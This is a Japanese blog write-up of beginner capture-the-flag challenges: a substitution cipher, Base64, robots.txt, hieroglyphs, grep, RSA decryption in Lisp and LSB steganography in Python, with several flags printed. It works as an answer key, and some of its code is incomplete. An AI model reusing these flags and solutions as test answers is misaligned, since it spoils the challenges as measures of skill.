“OF EKBHMGUKZHJB, Z LWALMOMWMOGF EOHJTK OL Z DTMJGX GY TFEGXOFU AB NJOEJ WFOML GY HSZOFMTVM ZKT KTHSZETX NOMJ EOHJTKMTVM, ZEEGKXOFU MG Z YOVTX LBLMTD; MJT "WFOML” DZB AT LOFUST STMMTKL (MJT DGLM EGDDGF), HZOKL GY STMMTKL, MKOHSTML GY STMMTKL, DOVMWKTL GY MJT ZAGRT, ZFX LG YGKMJ. MJT KTETORTK XTEOHJTKL MJT MTVM AB HTKYGKDOFU MJT OFRTKLT LWALMOMWMOGF. MJZFQL YGK KTZXOFU MJZM, JTKT'L BGWK YSZU: X4KQ{MKB_YZEEJ3_OYMJOL_MGG_LODHTS}E0XT"

渡された文章、フラグ形式っぽいものもあり、一文字だけのZが複数回出てたり、記号はそのままだったりすることから単一換字式暗号かと思った。 とりあえず、フラグ形式のところは確定できるので確定させる。

“OF crBHMGUrZHJB, Z LWALMOMWMOGF cOHJer OL Z DeMJGd GY eFcGdOFU AB NJOcJ WFOML GY HSZOFMeVM Zre reHSZced NOMJ cOHJerMeVM, ZccGrdOFU MG Z YOVed LBLMeD; MJe "WFOML” DZB Ae LOFUSe SeMMerL (MJe DGLM cGDDGF), HZOrL GY SeMMerL, MrOHSeML GY SeMMerL, DOVMWreL GY MJe ZAGRe, ZFd LG YGrMJ. MJe receORer decOHJerL MJe MeVM AB HerYGrDOFU MJe OFRerLe LWALMOMWMOGF. MJZFkL YGr reZdOFU MJZM, Jere\‘L BGWr YSZU: d4rk{MrB_YZccJ3_OYMJOL_MGG_LODHeS}c0de"

そうするとZreだったりJereだったり英単語が類推できる箇所だったりが出てくるので、それを埋めていく作業を繰り返す。 文字の出現頻度でやってもいいが、あまり参考にならなかった。 pythonでdict使って変換テーブルを作って、逐一復号しながら解いた。 復号すると、暗号学における単一換字式暗号の説明みたいな文章とフラグがでてくる。

high bass

crypto

“VGhpcyB3YXMgaW4gYmFzZS02NDogZDRya3t0aGF0XyRpbXBsXzNuMHVnaDRfVX1jMGRl"が渡される。 よく分からなかったのでBase64したら解けた。 印字可能で空白がないなら取り敢えず試す。

flag.txt

web

URLが渡されるので行ってみると、リンクが一つだけあった。 踏んでみるとロボットが人間をどうたらみたいな外部のサイトに飛ばされた。 外部サイトにフラグはもちろん無いので戻る。 リンク先にロボットの話題が出てたので、robots.txtを開いてみる。 ハッシュ値みたいな名前のディレクトリがDisallowになっていた。 問題のタイトルがflag.txtだったので、そのディレクトリ直下のflag.txtにアクセスしたらflagがでてきた。

one

なんだろう、rev?

バイナリファイルを渡されたのでfileで形式を調査する。 elf形式の実行ファイルなので、とりあえず実行する(アブナイ)。 フラグが出力された。

cave

crypto

象形文字みたいなものの画像が渡される。 名前が思い出せなかったが、これはヒエログリフである。 ヒエログリフタイピング的なサイトが見つかり、おそらくそのサイトで生成したであろう問題であることが分かった。 とりあえず復号するとflag_isなんたらかんたらみたいになるので、flag_isのあとをフラグの形式にして提出すると通った。

needle

foren

zip形式のファイルを渡され、解凍するとクソ長いテキストファイルが出てくる。 フラグ形式でgrepしたら該当する部分があったので、提出して終了。

RAS-1

crypto
RSAに関する暗号問題。 p, q, c, eが渡されるので、普通に復号するだけでいい。 ed = 1 mod (p - 1)(q - 1)となるdを求めて、cd mod pqを計算すると平文mが得られる。 ed = 1 mod (p - 1)(q - 1)は拡張ユークリッドの互除法で求められる。 ed + k(p-1)(q-1) = 1となるk, dを求めればいい。この式のmodを取れば元の式になることが分かる。

(setf p 152571978722786084351886931023496370376798999987339944199021200531651275691099103449347349897964635706112525455731825020638894818859922778593149300143162720366876072994268633705232631614015865065113917174134807989294330527442191261958994565247945255072784239755770729665527959042883079517088277506164871850439)

(setf  q 147521976719041268733467288485176351894757998182920217874425681969830447338980333917821370916051260709883910633752027981630326988193070984505456700948150616796672915601007075205372397177359025857236701866904448906965019938049507857761886750656621746762474747080300831166523844026738913325930146507823506104359)

(setf c 8511718779884002348933302329129034304748857434273552143349006561412761982574325566387289878631104742338583716487885551483795770878333568637517519439482152832740954108568568151340772337201643636336669393323584931481091714361927928549187423697803637825181374486997812604036706926194198296656150267412049091252088273904913718189248082391969963422192111264078757219427099935562601838047817410081362261577538573299114227343694888309834727224639741066786960337752762092049561527128427933146887521537659100047835461395832978920369260824158334744269055059394177455075510916989043073375102773439498560915413630238758363023648)

(setf  e 65537)

(defun extend-gcd (a b)
  "return (x . y) | ax + by = 1"
  (flet ((next-val (x1 x2 q)
       (- x1 (* x2 q))))
    (loop for q = (/ (- a (mod a b)) b) then (/ (- z1 (mod z1 z2)) z2)
      for ztmp = (next-val a b q) then (next-val z1 z2 q)
      for z1 = a then z2
      for z2 = b then ztmp
      for xtmp = (next-val 1 0 q) then (next-val x1 x2 q)
      for x1 = 1 then x2
      for x2 = 0 then xtmp
      for ytmp = (next-val 0 1 q) then (next-val y1 y2 q)
      for y1 = 0 then y2
      for y2 = 1 then ytmp
      when (= z2 1)
        do (if (< x2 0)
           (return (cons (+ x2 b) (- y2 a)))
           (return (cons x2 y2))))))

(defun mod-expt (base exp modulus)
  "more effective expotential and modulus.
calculate mod at every step of exp."
  (if (< exp 0) ;; if exp < 0, cannot calc mod so simply return base^exp
      (expt base exp)
      (loop for acc = 1 then (if (evenp e) acc (mod (* acc b) modulus))
        for b = (mod base modulus) then (if (evenp e) (mod (expt b 2) modulus) b)
        for e = exp then (if (evenp e) (/ e 2) (1- e))
        when (= e 0)
          do (return acc))))

(defun decode (encoded-num)
  (labels ((inner-loop (num acc)
         (if (> num 0)
         (inner-loop (truncate num (expt 2 8)) (cons (mod num (expt 2 8)) acc))
         acc)))
    (inner-loop encoded-num nil)))

stego

standard stego

画像にデータを隠すpythonプログラムと画像ファイルが落ちてくるので、逆算する。 どうやら文字列をバイナリ表現に変換して、画像ファイルの先頭からRGBのいずれかの末尾に1bitずつセットしているようである。 なので、画像の先頭から対応するRGBの値の末尾のbitを取り出すプログラムを書いて、マーカービット列の間を取り出した。 あとは1byte単位で取り出して文字に戻すだけである。

from PIL import Image


def getLSB(target):
    binary = str(bin(target))
    return binary[-1]


def binToAscii(bin):
    ret = ''
    length = len(bin) // 8
    for i in range(length):
        binary = bin[i*8:i*8 + 8]
        ret += chr(int(binary, 2))

img = Image.open('Secret.png')
pixels = list(img.getdata())
mode = img.mode
ret = []
for i in range(10000):
    newPixel = list(pixels[i])
    ret.append(getLSB(newPixel[i % len(mode)]))
    
header, trailer = 2 * "11001100", 2 * "0101010100000000"
bin_str = ""
for b in ret:
    bin_str += b

tmp = bin_str[:bin_str.find(trailer)]
tmp = tmp.replace(header, '')

まとめ

全然分からんかった。